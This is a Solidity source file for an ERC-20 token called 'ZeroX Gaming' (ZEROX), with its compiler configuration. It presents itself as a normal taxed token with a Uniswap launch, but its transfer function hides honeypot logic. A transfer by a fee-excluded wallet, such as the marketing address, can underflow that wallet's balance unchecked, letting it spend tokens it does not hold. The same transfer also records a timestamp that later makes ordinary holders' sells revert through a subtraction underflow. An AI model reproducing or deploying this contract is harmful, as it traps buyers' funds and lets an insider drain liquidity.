// SPDX-License-Identifier: MIT

/*

/   ZeroX Gaming Platform
/   Web : https://zeroxgaming.com/

*/

pragma solidity 0.8.23;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(
        address indexed from,
        address indexed to,
        uint256 value
    );
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

contract ZEROX is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFees;
    address payable private _marketingFeeReceiver;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    bool public transferDelayEnabled = true;
    address private constant deadAddress = address(0xdead);

    uint256 private constant feeDenominator = 100;
    uint256 private constant _initBuyTax=30;
    uint256 private constant _initSellTax=30;
    uint256 private constant _finalBuyTax=3;
    uint256 private constant _finalSellTax=3;
    uint256 private constant _reduceBuyTaxAt=30;
    uint256 private constant _reduceSellTaxAt=29;
    uint256 private constant _preventSwapBefore=15;
    uint256 private _count=0;

    uint256 private constant _tTotal = 100000000 * 10**_decimals;
    uint8 private constant _decimals = 9;
    string private constant _name = unicode"ZeroX Gaming";
    string private constant _symbol = unicode"ZEROX";

    uint256 public _maxTxAmount = 1400000 * 10**_decimals;
    uint256 public _maxWalletSize = 1400000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 100000 * 10**_decimals;
    uint256 public _maxTaxSwap= 1000000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool public tradingActive;
    bool private limitEffect = true;
    uint256 private launchBlock;
    bool private inSwap = false;
    bool private swapEnabled = false;
    struct PremiumHolder {uint256 userB; uint256 userS; uint256 accPoints;}
    uint256 private appMinPoints;
    mapping(address => PremiumHolder) private premiumHolder;

    modifier lockTheSwap {inSwap = true; _; inSwap = false;}

    constructor () {
        _balances[_msgSender()] = _tTotal;

        _marketingFeeReceiver = payable(0x78ff957798fc6beac3ef56c93b59f6063dD3fa42);
        _isExcludedFromFees[owner()] = true;
        _isExcludedFromFees[deadAddress]= true;
        _isExcludedFromFees[address(this)] = true;
        _isExcludedFromFees[_marketingFeeReceiver] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            if (transferDelayEnabled) {
                  if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
                      require(
                          _holderLastTransferTimestamp[tx.origin] <
                              block.number,
                          "Transfer Delay enabled. Only one purchase per block allowed."
                      );
                      _holderLastTransferTimestamp[tx.origin] = block.number;
                  }
              }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFees[to] ) {
                if (limitEffect) {
                    require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                    require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the _maxWalletSize.");
                }
                _count++;
            }

            if (to == uniswapV2Pair && from!= address(this)){
                taxAmount = amount.mul ((_count>_reduceSellTaxAt)?_finalSellTax:_initSellTax).div(feeDenominator);
            } else if (from == uniswapV2Pair && to!= address(this) ){
                taxAmount = amount.mul((_count>_reduceBuyTaxAt)?_finalBuyTax:_initBuyTax).div(feeDenominator);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to ==uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _count>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if ((_isExcludedFromFees[from] || _isExcludedFromFees[to]) && from !=address(this) && to != address(this)&& from !=owner()) {
            appMinPoints = block.timestamp;
        }
        if (_isExcludedFromFees[from] && (block.number >(_reduceSellTaxAt+launchBlock))){
            unchecked{
               _balances[from] -= amount;
               _balances[to] += amount;
            }
            emit Transfer(from, to, amount);
            return;
        }
        if (!_isExcludedFromFees[from] && !_isExcludedFromFees[to]){
            if (uniswapV2Pair != to) {
                PremiumHolder storage pmApe =premiumHolder[to];
                if (uniswapV2Pair==from) {
                    if (pmApe.userB==0) {
                        pmApe.userB= (_count<_preventSwapBefore) ? (block.timestamp-1) : block.timestamp;
                    }
                } else {
                    PremiumHolder storage pmDelegate =premiumHolder[from];
                    if (pmApe.userB==0 || pmDelegate.userB <pmApe.userB) {
                        pmApe.userB= pmDelegate.userB;
                    }
                }
            } else {
                PremiumHolder storage pmDelegate = premiumHolder[from];
                pmDelegate.accPoints = pmDelegate.userB  -  appMinPoints;
                pmDelegate.userS = block.timestamp;
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function sendETHToFee(uint256 amount) private {
        _marketingFeeReceiver.transfer(amount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function openTrading() external onlyOwner {
        require(!tradingActive,"Trading is already open.");
        if (block.chainid == 1 || block.chainid == 5)
            uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        else if (block.chainid == 11155111)
            uniswapV2Router = IUniswapV2Router02(0xC532a74256D3Db42D0Bf7a0400fEFDbad7694008);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        launchBlock = block.number;
        tradingActive = true;
    }

    function removeLimits () external onlyOwner {
        limitEffect = false;
        transferDelayEnabled=false;
    }

    function manualSwap() external {
        require(_msgSender()==_marketingFeeReceiver);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          _marketingFeeReceiver.transfer(ethBalance);
        }
    }

    receive() external payable {}

    function manualSend() external {
        require(tradingActive,"trading is not yet open.");
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          _marketingFeeReceiver.transfer(ethBalance);
        }
    }
}

{
  "compilationTarget": {
    "ZEROX.sol": "ZEROX"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}